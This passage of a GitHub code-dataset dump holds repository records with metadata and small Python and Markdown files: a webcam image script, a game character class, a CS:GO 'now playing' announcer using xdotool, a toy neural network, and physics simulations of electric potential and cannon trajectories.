range(1,height-tempo-1):\\n for j in range(1,width-1):\\n if(temp[i,j]>0):\\n if(temp[i+1,j] > 0 or temp[i-1,j] > 0 or temp[i,j+1]> 0 or temp[i,j-1]> 0 or temp[i+1,j+1]> 0 or temp[i-1,j-1] or temp[i+1,j-1]> 0 or temp[i-1,j+1]> 0):\\n temp[i,j] = 255\\n Iso.append(i)\\n Jso.append(j)\\n else:\\n temp[i,j] = 0\\n #\\n for x in range(0,width - tempo):\\n temp[0,x] = 0\\n temp[1,x] = 0\\n #\\n Is = np.asarray(Iso, dtype=np.float64)\\n Js = np.asarray(Jso, dtype=np.float64)\\n m= (mean(Is)*mean(Js)-mean(Js*Is))/((mean(Is)*mean(Is))-mean(Is*Is))\\n b= mean(Js)-m*mean(Is)\\n #\\n print(m)\\n print(b)\\n for j in range(0,height-tempo):\\n guccigang = int(m*j+b)\\n if(abs(guccigang)<352):\\n temp[j,guccigang]=255\\n else:\\n print(\\\"Hello World\\\")\\n #for y in range(0,height):\\n # temp[int((y-b)/m),y] = 255\\n test = Image.fromarray(temp)\\n test.save('/home/pi/webcam/gucci.jpg')\\n #for j in range(1,width):\\n # temp[m*j+b,j]\\n return m\\nmaybeWay()\\nreturn maybeWay()\\n\\n#print(imgAr)\\n \\n \\n\"\n },\n {\n \"alpha_fraction\": 0.6666666865348816,\n \"alphanum_fraction\": 0.7435897588729858,\n \"avg_line_length\": 25,\n \"blob_id\": \"ca660cc53fb2a9a7b97ddafa1dd32554141e062e\",\n \"content_id\": \"3b4057b4f9b30c04d2f1b0bee66bf8792d8c6f97\",\n \"detected_licenses\": [],\n \"is_generated\": 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}\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978350,"cells":{"repo_name":{"kind":"string","value":"Jereck/Character"},"repo_url":{"kind":"string","value":"https://github.com/Jereck/Character"},"snapshot_id":{"kind":"string","value":"b1d545bebf2b523273f330cbde1979e8bc72bf06"},"revision_id":{"kind":"string","value":"e1152f3c08c9dcfc970f2b04808827e57b64d122"},"directory_id":{"kind":"string","value":"1e64ba17b41aff64be809902a1b9363a97b759fc"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-01T19:52:40.124581","string":"2021-01-01T19:52:40.124581"},"revision_date":{"kind":"timestamp","value":"2017-07-29T03:32:43","string":"2017-07-29T03:32:43"},"committer_date":{"kind":"timestamp","value":"2017-07-29T03:32:43","string":"2017-07-29T03:32:43"},"github_id":{"kind":"number","value":98705747,"string":"98,705,747"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.640326976776123,"alphanum_fraction":0.6948229074478149,"avg_line_length":20.647058486938477,"blob_id":"8cd1f70a5c16f87a7cde4208651de9ccd1960869","content_id":"8162f3277c5e7109789bfd997f6bf104fc8af732","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":367,"license_type":"no_license","max_line_length":37,"num_lines":17,"path":"/sheet.py","repo_name":"Jereck/Character","src_encoding":"UTF-8","text":"class Character:\n\tdef __init__(self, h, m):\n\t\tself.health = h\n\t\tself.mana = m\n\t\tprint(\"Character Created!\")\n\n\tdef take_damage(self, power, speed):\n\t\tself.damage = power * speed\n\nwarrior = Character(100, 50)\nmage = Character(50, 100)\nrogue = Character(75, 75)\npaladin = Character(80, 70)\n\nprint(warrior.take_damage)\nwarrior.take_damage(5, 8)\nprint(warrior.take_damage)"}],"string":"[\n {\n \"alpha_fraction\": 0.640326976776123,\n \"alphanum_fraction\": 0.6948229074478149,\n \"avg_line_length\": 20.647058486938477,\n \"blob_id\": \"8cd1f70a5c16f87a7cde4208651de9ccd1960869\",\n \"content_id\": \"8162f3277c5e7109789bfd997f6bf104fc8af732\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 367,\n \"license_type\": \"no_license\",\n \"max_line_length\": 37,\n \"num_lines\": 17,\n \"path\": \"/sheet.py\",\n \"repo_name\": \"Jereck/Character\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"class Character:\\n\\tdef __init__(self, h, m):\\n\\t\\tself.health = h\\n\\t\\tself.mana = m\\n\\t\\tprint(\\\"Character Created!\\\")\\n\\n\\tdef take_damage(self, power, speed):\\n\\t\\tself.damage = power * speed\\n\\nwarrior = Character(100, 50)\\nmage = Character(50, 100)\\nrogue = Character(75, 75)\\npaladin = Character(80, 70)\\n\\nprint(warrior.take_damage)\\nwarrior.take_damage(5, 8)\\nprint(warrior.take_damage)\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978351,"cells":{"repo_name":{"kind":"string","value":"harrego/csgocat"},"repo_url":{"kind":"string","value":"https://github.com/harrego/csgocat"},"snapshot_id":{"kind":"string","value":"0cef7b6ae29c89e2405df02774dd0b122386008f"},"revision_id":{"kind":"string","value":"a64fb0eef685b32467dd33421201f4212a44967c"},"directory_id":{"kind":"string","value":"ddddb5f63efab3582b473070cab9154af60f92f5"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-11-29T07:58:47.424098","string":"2022-11-29T07:58:47.424098"},"revision_date":{"kind":"timestamp","value":"2020-08-11T21:28:40","string":"2020-08-11T21:28:40"},"committer_date":{"kind":"timestamp","value":"2020-08-11T21:28:40","string":"2020-08-11T21:28:40"},"github_id":{"kind":"number","value":286847118,"string":"286,847,118"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7571528553962708,"alphanum_fraction":0.7620376944541931,"avg_line_length":58.75,"blob_id":"f3c15f99ec49b9622374b63cb316ae8583acb77f","content_id":"80b576d08175abbf0a3d6c14f98be775cb41c8ae","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1433,"license_type":"no_license","max_line_length":441,"num_lines":24,"path":"/README.md","repo_name":"harrego/csgocat","src_encoding":"UTF-8","text":"# csgocat\n\nKeep your CSGO team informed what's playing \n\n## Contributions\n\nThanks to [chxrlt](https://github.com/chxrlt) for writing all of the `mpris` and `xdotool` code!\n\n## Usage\n\n1) Install Linux, I recommend Ubuntu\n2) Install `xdotool`, `sudo apt install xdotool` on Ubuntu, `sudo pacman -S xdotool` on Arch\n3) Change `USER_JUKEBOX` in `main.py` to either `Jukebox.Rhytmbox` or `Jukebox.Spotify`\n4) Enable the console in CSGO and get into a game\n5) Run `main.py` and quickly tab back into your game, it will give you a 5 second head start\n6) When a song is about to change, stand still and let it type into your game\n\n## How it works\n\nIt uses `mpris` to determine the current song playing in either Rhythmbox or Spotify, a hash of the title and the artist is stored in `/tmp/songhash` and every second the current song is polled and compared against the cached hash. If the song has changed then `xdotool` will open the CSGO console and type `say Now playing: TITLE by ARTIST`. Before a song changes make sure you are standing still or you may type bad input into the console!\n\n## Disclaimer\n\nCSGO is a multiplayer video game with an anti-cheat. Like all applications that interact with the game it may lead to a \"cheat detection\" and get you banned. This IS NOT a cheat but it is always unknown what will trigger anti-cheat. Run this tool AT YOUR OWN RISK and I am not responsible for any action as a result of using this tool."},{"alpha_fraction":0.6313868761062622,"alphanum_fraction":0.6358475089073181,"avg_line_length":25.516128540039062,"blob_id":"9bde715648c300030eb07d43ed1093948351dd02","content_id":"fb60b2c58ee333ced9cb454ad83ce8747f865a65","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2466,"license_type":"no_license","max_line_length":82,"num_lines":93,"path":"/main.py","repo_name":"harrego/csgocat","src_encoding":"UTF-8","text":"import dbus\nimport time\nimport sys\nimport os\nimport subprocess\nimport hashlib\nimport argparse\nfrom dataclasses import dataclass\nfrom enum import Enum\n\n# MARK: csgo related\n\ndef xdostring(s):\n for c in s:\n if c == \" \":\n subprocess.call([\"xdotool\", \"key\", \"space\"])\n elif c == \":\":\n subprocess.call([\"xdotool\", \"key\", \"colon\"])\n else:\n subprocess.call([\"xdotool\", \"key\", c])\n\ndef csgo_say(msg):\n subprocess.call([\"xdotool\", \"key\", \"grave\"])\n xdostring(\"say \" + msg)\n subprocess.call([\"xdotool\", \"key\", \"Return\"])\n subprocess.call([\"xdotool\", \"key\", \"grave\"])\n\ndef multiline_csgo_say(msgs):\n for msg in msgs:\n csgo_say(msg)\n time.sleep(0.5)\n\n# MARK: song related\n\nclass Jukebox(Enum):\n Spotify = \"org.mpris.MediaPlayer2.spotify\"\n Rhythmbox = \"org.mpris.MediaPlayer2.rhythmbox\"\n\nclass Song:\n def __init__(self, title, artist):\n self.title = title\n self.artist = artist\n\n def hash(self):\n song_str = f\"{self.title}/{self.artist}\".encode(\"utf-8\")\n hash_str = hashlib.sha1(song_str).hexdigest()\n return hash_str\n\n def formatted(self, jukebox):\n jukebox_str = \"\"\n if jukebox is not None:\n jukebox_str = f\" on {jukebox.name}\"\n return f\"{self.title} by {self.artist}{jukebox_str}\"\n\nSONGHASH_DIR = \"/tmp/songhash\"\nUSER_JUKEBOX = Jukebox.Spotify\n\ndef current_song(jukebox):\n session_bus = dbus.SessionBus()\n spotify_bus = session_bus.get_object(jukebox.value, \"/org/mpris/MediaPlayer2\")\n\n spotify_props = dbus.Interface(spotify_bus, \"org.freedesktop.DBus.Properties\")\n metadata = spotify_props.Get(\"org.mpris.MediaPlayer2.Player\", \"Metadata\")\n\n return Song(metadata[\"xesam:title\"], metadata[\"xesam:artist\"][0])\n\ndef write_hash_cache(hash_str):\n with open(SONGHASH_DIR, \"w\") as name_file:\n name_file.write(hash_str)\n\ndef read_hash_cache():\n if not os.path.isfile(SONGHASH_DIR):\n return True\n with open(SONGHASH_DIR, \"r\") as hash_file:\n read_hash = hash_file.read()\n return read_hash\n\ndef song_check(song):\n new_song_hash = song.hash()\n if read_hash_cache() != new_song_hash:\n write_hash_cache(new_song_hash)\n return True\n else:\n return False\n\n# MARK: main loop\n\ntime.sleep(5)\nwhile True:\n now_playing = current_song(USER_JUKEBOX)\n if song_check(now_playing):\n csgo_say(f\"Now playing: {now_playing.formatted(USER_JUKEBOX)}\")\n time.sleep(1)\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7571528553962708,\n \"alphanum_fraction\": 0.7620376944541931,\n \"avg_line_length\": 58.75,\n \"blob_id\": \"f3c15f99ec49b9622374b63cb316ae8583acb77f\",\n \"content_id\": \"80b576d08175abbf0a3d6c14f98be775cb41c8ae\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1433,\n \"license_type\": \"no_license\",\n \"max_line_length\": 441,\n \"num_lines\": 24,\n \"path\": \"/README.md\",\n \"repo_name\": \"harrego/csgocat\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# csgocat\\n\\nKeep your CSGO team informed what's playing \\n\\n## Contributions\\n\\nThanks to [chxrlt](https://github.com/chxrlt) for writing all of the `mpris` and `xdotool` code!\\n\\n## Usage\\n\\n1) Install Linux, I recommend Ubuntu\\n2) Install `xdotool`, `sudo apt install xdotool` on Ubuntu, `sudo pacman -S xdotool` on Arch\\n3) Change `USER_JUKEBOX` in `main.py` to either `Jukebox.Rhytmbox` or `Jukebox.Spotify`\\n4) Enable the console in CSGO and get into a game\\n5) Run `main.py` and quickly tab back into your game, it will give you a 5 second head start\\n6) When a song is about to change, stand still and let it type into your game\\n\\n## How it works\\n\\nIt uses `mpris` to determine the current song playing in either Rhythmbox or Spotify, a hash of the title and the artist is stored in `/tmp/songhash` and every second the current song is polled and compared against the cached hash. If the song has changed then `xdotool` will open the CSGO console and type `say Now playing: TITLE by ARTIST`. Before a song changes make sure you are standing still or you may type bad input into the console!\\n\\n## Disclaimer\\n\\nCSGO is a multiplayer video game with an anti-cheat. Like all applications that interact with the game it may lead to a \\\"cheat detection\\\" and get you banned. This IS NOT a cheat but it is always unknown what will trigger anti-cheat. Run this tool AT YOUR OWN RISK and I am not responsible for any action as a result of using this tool.\"\n },\n {\n \"alpha_fraction\": 0.6313868761062622,\n \"alphanum_fraction\": 0.6358475089073181,\n \"avg_line_length\": 25.516128540039062,\n \"blob_id\": \"9bde715648c300030eb07d43ed1093948351dd02\",\n \"content_id\": \"fb60b2c58ee333ced9cb454ad83ce8747f865a65\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2466,\n \"license_type\": \"no_license\",\n \"max_line_length\": 82,\n \"num_lines\": 93,\n \"path\": \"/main.py\",\n \"repo_name\": \"harrego/csgocat\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import dbus\\nimport time\\nimport sys\\nimport os\\nimport subprocess\\nimport hashlib\\nimport argparse\\nfrom dataclasses import dataclass\\nfrom enum import Enum\\n\\n# MARK: csgo related\\n\\ndef xdostring(s):\\n for c in s:\\n if c == \\\" \\\":\\n subprocess.call([\\\"xdotool\\\", \\\"key\\\", \\\"space\\\"])\\n elif c == \\\":\\\":\\n subprocess.call([\\\"xdotool\\\", \\\"key\\\", \\\"colon\\\"])\\n else:\\n subprocess.call([\\\"xdotool\\\", \\\"key\\\", c])\\n\\ndef csgo_say(msg):\\n subprocess.call([\\\"xdotool\\\", \\\"key\\\", \\\"grave\\\"])\\n xdostring(\\\"say \\\" + msg)\\n subprocess.call([\\\"xdotool\\\", \\\"key\\\", \\\"Return\\\"])\\n subprocess.call([\\\"xdotool\\\", \\\"key\\\", \\\"grave\\\"])\\n\\ndef multiline_csgo_say(msgs):\\n for msg in msgs:\\n csgo_say(msg)\\n time.sleep(0.5)\\n\\n# MARK: song related\\n\\nclass Jukebox(Enum):\\n Spotify = \\\"org.mpris.MediaPlayer2.spotify\\\"\\n Rhythmbox = \\\"org.mpris.MediaPlayer2.rhythmbox\\\"\\n\\nclass Song:\\n def __init__(self, title, artist):\\n self.title = title\\n self.artist = artist\\n\\n def hash(self):\\n song_str = f\\\"{self.title}/{self.artist}\\\".encode(\\\"utf-8\\\")\\n hash_str = hashlib.sha1(song_str).hexdigest()\\n return hash_str\\n\\n def formatted(self, jukebox):\\n jukebox_str = \\\"\\\"\\n if jukebox is not None:\\n jukebox_str = f\\\" on {jukebox.name}\\\"\\n return f\\\"{self.title} by {self.artist}{jukebox_str}\\\"\\n\\nSONGHASH_DIR = \\\"/tmp/songhash\\\"\\nUSER_JUKEBOX = Jukebox.Spotify\\n\\ndef current_song(jukebox):\\n session_bus = dbus.SessionBus()\\n spotify_bus = session_bus.get_object(jukebox.value, \\\"/org/mpris/MediaPlayer2\\\")\\n\\n spotify_props = dbus.Interface(spotify_bus, \\\"org.freedesktop.DBus.Properties\\\")\\n metadata = spotify_props.Get(\\\"org.mpris.MediaPlayer2.Player\\\", \\\"Metadata\\\")\\n\\n return Song(metadata[\\\"xesam:title\\\"], metadata[\\\"xesam:artist\\\"][0])\\n\\ndef write_hash_cache(hash_str):\\n with open(SONGHASH_DIR, \\\"w\\\") as name_file:\\n name_file.write(hash_str)\\n\\ndef read_hash_cache():\\n if not os.path.isfile(SONGHASH_DIR):\\n return True\\n with open(SONGHASH_DIR, \\\"r\\\") as hash_file:\\n read_hash = hash_file.read()\\n return read_hash\\n\\ndef song_check(song):\\n new_song_hash = song.hash()\\n if read_hash_cache() != new_song_hash:\\n write_hash_cache(new_song_hash)\\n return True\\n else:\\n return False\\n\\n# MARK: main loop\\n\\ntime.sleep(5)\\nwhile True:\\n now_playing = current_song(USER_JUKEBOX)\\n if song_check(now_playing):\\n csgo_say(f\\\"Now playing: {now_playing.formatted(USER_JUKEBOX)}\\\")\\n time.sleep(1)\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978352,"cells":{"repo_name":{"kind":"string","value":"jocelyneterrazas/ChickenDinner"},"repo_url":{"kind":"string","value":"https://github.com/jocelyneterrazas/ChickenDinner"},"snapshot_id":{"kind":"string","value":"b39d596f1502417894e55eb93c354a083ba304c9"},"revision_id":{"kind":"string","value":"0df33d4957130dd0cf168fa558f26f4b568f91be"},"directory_id":{"kind":"string","value":"799a572e8e181f28e1114afcc66920cc60ae6166"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-03-21T16:49:18.000734","string":"2020-03-21T16:49:18.000734"},"revision_date":{"kind":"timestamp","value":"2018-06-26T21:31:05","string":"2018-06-26T21:31:05"},"committer_date":{"kind":"timestamp","value":"2018-06-26T21:31:05","string":"2018-06-26T21:31:05"},"github_id":{"kind":"number","value":138795341,"string":"138,795,341"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5800830125808716,"alphanum_fraction":0.6082987785339355,"avg_line_length":29.605262756347656,"blob_id":"a4e36154579922a0b3ae2054b52fd8edf6e37154","content_id":"b06783561bd8cecd73eabc25e0a795fba968122f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1205,"license_type":"no_license","max_line_length":64,"num_lines":38,"path":"/neuralNetwork.py","repo_name":"jocelyneterrazas/ChickenDinner","src_encoding":"UTF-8","text":"\r\n\r\ndef evaluateNeuralNetwork(input1, weights):\r\n result = 0\r\n for i in range(len(input1)):\r\n hi = input1[i] * weights[i]\r\n #print(weights[i])\r\n result+=(hi)\r\n return round(result, 3)\r\n\r\ndef evaluateNeuralError(desired, actual):\r\n return round(desired - actual,3)\r\n\r\ndef learningFunc(input1, weights, learningRate):\r\n for i in range(len(input1)):\r\n if input1[i] > 0:\r\n weights[i]+= learningRate\r\n round(weights[i], 3)\r\n\r\ndef training(trials, input1, weights, learningRate):\r\n for i in range(trials):\r\n neuralNetResult = evaluateNeuralNetwork(input1, weights)\r\n learningFunc(input1, weights, learningRate)\r\n err = evaluateNeuralError(1, neuralNetResult)\r\n print(\"Error: \", err, \"Result: \", neuralNetResult)\r\n round(weights[2], 3)\r\n print(weights)\r\n return neuralNetResult\r\n \r\n\r\nif __name__==\"__main__\":\r\n input1 = [0,0,1,0]\r\n weights = [0,0,0,0]\r\n desiredResult = 1\r\n learningRate = 0.20\r\n trials = 6\r\n result = training(trials, input1, weights, learningRate)\r\n if (result >=1):\r\n print(\"WINNER WINNER, CHICKEN DINNER\")\r\n #evaluateNeuralNetwork(input1, weights)\r\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5800830125808716,\n \"alphanum_fraction\": 0.6082987785339355,\n \"avg_line_length\": 29.605262756347656,\n \"blob_id\": \"a4e36154579922a0b3ae2054b52fd8edf6e37154\",\n \"content_id\": \"b06783561bd8cecd73eabc25e0a795fba968122f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1205,\n \"license_type\": \"no_license\",\n \"max_line_length\": 64,\n \"num_lines\": 38,\n \"path\": \"/neuralNetwork.py\",\n \"repo_name\": \"jocelyneterrazas/ChickenDinner\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\r\\n\\r\\ndef evaluateNeuralNetwork(input1, weights):\\r\\n result = 0\\r\\n for i in range(len(input1)):\\r\\n hi = input1[i] * weights[i]\\r\\n #print(weights[i])\\r\\n result+=(hi)\\r\\n return round(result, 3)\\r\\n\\r\\ndef evaluateNeuralError(desired, actual):\\r\\n return round(desired - actual,3)\\r\\n\\r\\ndef learningFunc(input1, weights, learningRate):\\r\\n for i in range(len(input1)):\\r\\n if input1[i] > 0:\\r\\n weights[i]+= learningRate\\r\\n round(weights[i], 3)\\r\\n\\r\\ndef training(trials, input1, weights, learningRate):\\r\\n for i in range(trials):\\r\\n neuralNetResult = evaluateNeuralNetwork(input1, weights)\\r\\n learningFunc(input1, weights, learningRate)\\r\\n err = evaluateNeuralError(1, neuralNetResult)\\r\\n print(\\\"Error: \\\", err, \\\"Result: \\\", neuralNetResult)\\r\\n round(weights[2], 3)\\r\\n print(weights)\\r\\n return neuralNetResult\\r\\n \\r\\n\\r\\nif __name__==\\\"__main__\\\":\\r\\n input1 = [0,0,1,0]\\r\\n weights = [0,0,0,0]\\r\\n desiredResult = 1\\r\\n learningRate = 0.20\\r\\n trials = 6\\r\\n result = training(trials, input1, weights, learningRate)\\r\\n if (result >=1):\\r\\n print(\\\"WINNER WINNER, CHICKEN DINNER\\\")\\r\\n #evaluateNeuralNetwork(input1, weights)\\r\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978353,"cells":{"repo_name":{"kind":"string","value":"jxw666/computationalphysics_N2015301020090"},"repo_url":{"kind":"string","value":"https://github.com/jxw666/computationalphysics_N2015301020090"},"snapshot_id":{"kind":"string","value":"98c906b7d7dbbf240e4c19545d8c59aa48504b60"},"revision_id":{"kind":"string","value":"c3ca4fd8318b4681401ea3c91111319d103e65fd"},"directory_id":{"kind":"string","value":"9a791ad44b3097dccba973c40b3547f25ffa3837"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-05-15T00:29:41.950601","string":"2021-05-15T00:29:41.950601"},"revision_date":{"kind":"timestamp","value":"2018-03-09T11:46:20","string":"2018-03-09T11:46:20"},"committer_date":{"kind":"timestamp","value":"2018-03-09T11:46:20","string":"2018-03-09T11:46:20"},"github_id":{"kind":"number","value":103151213,"string":"103,151,213"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5700934529304504,"alphanum_fraction":0.6181575655937195,"avg_line_length":32.04411697387695,"blob_id":"734ebb097abe391be7180f919d761f9ba63ba683","content_id":"6cbb366a679d7c0bb118ca503ce44ba19c2b56f4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2305,"license_type":"no_license","max_line_length":83,"num_lines":68,"path":"/CH5/ch5.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\n#1.initialize-V\ndelta=0.1\nV_old=[[0.]*(int(1+1/delta))for i in range(int(1+1/delta))]\nfor i in range(1+int(round(0.3/delta))):#int(0.3/0.1)=2\n V_old[int(round(0.3/delta))][i]=-1#借鉴上官俊怡学姐的代码，设置初值\ndeltaV=100\n#2.update-V\nwhile deltaV >=len(V_old)**2*10**(-5):\n V_new=[[0.]*len(V_old)for i in range(len(V_old))]\n for i in range(1,len(V_old)-1):\n for j in range(1,len(V_old)-1):\n V_new[i][j]=(V_old[i-1][j]+V_old[i+1][j]+V_old[i][j-1]+V_old[i][j+1])/4\n for j in range(1,len(V_old)-1):\n V_new[0][j]=(V_old[0][j-1]+V_old[0][j+1])/4\n for k in range(1,len(V_old)-1):\n V_new[k][0]=(V_old[k-1][0]+V_old[k+1][0]+2*V_old[k][1])/4\n V_new[0][0]=V_old[0][1]/2\n for l in range(1+int(round(0.3/delta))):\n V_new[int(round(0.3/delta))][l]=-1.\n b=[]\n for i in range(len(V_old)):\n a=[abs(V_old[i][j]-V_new[i][j]) for j in range(len(V_old))]\n b.append(max(a))\n deltaV=max(b)\n V_old=V_new\nN=len(V_old)#这里也借鉴了上官俊怡的代码\nV1=np.transpose(V_old)#1st Quadrant\nV3=[[0.]*(N-1) for i in range(N)]#3rd quadrant\nfor i in range(N):\n for j in range(N-1):\n V3[i][j]=-V1[N-1-i][N-1-j]\n#add the 4th qudrant to V3 using extend\nfor i in range(N):\n V3[i].extend(V1[N-1-i])\n#add the 1st&2nd qudrant using +\nV_whole=V3\nfor i in range(N-1):\n V_whole=V_whole+[V3[N-2-i]]\ndel V1,V3 \n \nx=np.linspace(-1,1,len(V_whole))\nX,Y= np.meshgrid(x,x)\nfig = plt.figure()\n\n\n#ax = Axes3D(fig)\n#ax.set_xlabel('x')\n#ax.set_ylabel('y')\n#ax.set_zlabel('Electric Potential/V')\n#ax.set_title('Electric Potential Distribution Near Two Metal Plates') \n#surf=ax.plot_surface(X,Y,V_whole, rstride=1, cstride=1, cmap=cm.viridis)\n#fig.colorbar(surf, shrink=0.5, aspect=5)\n#wframe = ax.plot_wireframe(X, Y, V_whole, rstride=2, cstride=2)\n#CS = plt.contour(X, Y, V_whole, 15, linewidths=0.5, colors='k')\n#CS = plt.contourf(X, Y, V_whole, 15)\nplt.xlabel('x')\nplt.ylabel('y')\n#plt.title('Electric Potential Distribution Near Two Metal Plates')\n#plt.colorbar() # draw colorbar\nEY,EX=np.gradient(V_whole)\nEX,EY=-EX,-EY\nplt.quiver(X,Y, EX, EY)\nplt.title('Electric field near two metal plates')\nplt.show()\n"},{"alpha_fraction":0.6306939125061035,"alphanum_fraction":0.6939390301704407,"avg_line_length":68.27825927734375,"blob_id":"a328fa6e59fc96793afcd1618caffaf2736cfcf6","content_id":"20b140abe0eefcfefb9ddac4cb729833c9901ec0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":7991,"license_type":"no_license","max_line_length":336,"num_lines":115,"path":"/ch2.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"\n\n\n> Written with [StackEdit](https://stackedit.io/).\n# Chapter_two_section2.2\nproblem2.7&8\n\n贾雪巍 2015301020090\n\n----------\n\n\n## The Trajectory of a Cannon Shell\n------------------------------------\nConsider a projectile such as a shell shot by a cannon.If we ignore air resistance,the equation of motions can be obtained from Newton's second law.\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$&space;\\frac{d^2x}{dt^2}=0$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$&space;\\frac{d^2x}{dt^2}=0$$\" title=\"$$ \\frac{d^2x}{dt^2}=0$$\" /></a>\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$\\frac{d^2y}{dt^2}=-g$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$\\frac{d^2y}{dt^2}=-g$$\" title=\"$$\\frac{d^2y}{dt^2}=-g$$\" /></a>\nx and y are horizontal and vertical coordinates of the projectile.\nThese are second-order differential equations.If we recasting the equations in the following way.\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$\\frac{dx}{dt}=v_x$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$\\frac{dx}{dt}=v_x$$\" title=\"$$\\frac{dx}{dt}=v_x$$\" /></a>\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$\\frac{dv_x}{dt}=0$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$\\frac{dv_x}{dt}=0$$\" title=\"$$\\frac{dv_x}{dt}=0$$\" /></a>\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$\\frac{dy}{dt}=v_y$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$\\frac{dy}{dt}=v_y$$\" title=\"$$\\frac{dy}{dt}=v_y$$\" /></a>\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$\\frac{dv_y}{dt}=-g$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$\\frac{dv_y}{dt}=-g$$\" title=\"$$\\frac{dv_y}{dt}=-g$$\" /></a>\nWe can use Euler method to solve the problem.Then we add air resistance, air density,temperature,gravitational acceleration etc to the model to approach the realistic motion of the cannon and find out how much these factors affect the model.\n\n1.We will assume that the magnitude of the drag force on cannon shell is give by \n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$F_{drag}=-B_2v^2$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$F_{drag}=-B_2v^2$$\" title=\"$$F_{drag}=-B_2v^2$$\" /></a>\nwhere<a href=\"http://www.codecogs.com/eqnedit.php?latex=$v=\\sqrt{&space;v_x^2+v_y^2}$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$v=\\sqrt{&space;v_x^2+v_y^2}$\" title=\"$v=\\sqrt{ v_x^2+v_y^2}$\" /></a>is the speed of the shell.\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$F_{drag,x}=-B_2vv_x$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$F_{drag,x}=-B_2vv_x$$\" title=\"$$F_{drag,x}=-B_2vv_x$$\" /></a>\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$F_{drag,y}=-B_2vv_y$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$F_{drag,y}=-B_2vv_y$$\" title=\"$$F_{drag,y}=-B_2vv_y$$\" /></a>\n2.Air resistance is propotional to the density of the air,so the drag force at high altitude will be less.Treat the atmosphere as an adiabatic ideal gas which leads to that the density depends on altitude according to\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$\\rho=\\rho_0(1-\\frac{ay}{T_0})^\\alpha$$\" 